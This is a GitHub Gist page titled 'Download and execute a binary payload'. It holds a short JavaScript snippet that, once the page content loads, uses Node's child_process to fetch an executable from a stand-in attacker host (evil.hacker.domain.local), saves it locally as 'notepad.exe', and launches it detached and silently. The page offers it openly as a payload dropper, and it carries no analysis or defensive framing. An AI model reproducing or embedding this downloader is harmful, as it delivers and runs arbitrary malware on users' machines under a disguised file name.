Last active
July 17, 2019 23:24
-
-
Save JonnySchnittger/5527f16917156d00225566d9910a3e77 to your computer and use it in GitHub Desktop.
Download and execute a binary payload
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
document.addEventListener("DOMContentLoaded", function () { | |
const { spawn } = require('child_process'); | |
const fs = require('fs-extra'); | |
const path = require('path'); | |
const fileName = 'notepad.exe'; | |
const localPath = path.join(process.cwd(), fileName); | |
const remoteUri = 'https://evil.hacker.domain.local/payload.exe'; | |
let saveAndLaunch = function(download) { | |
fs.writeFile(localPath, download); | |
const subprocess = spawn(localPath, [], { | |
detached: true, | |
stdio: 'ignore' | |
}); | |
subprocess.unref(); | |
}; | |
const response = fetch(remoteUri, { }) | |
.then(res => res.buffer()) | |
.then(body => saveAndLaunch(body)); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment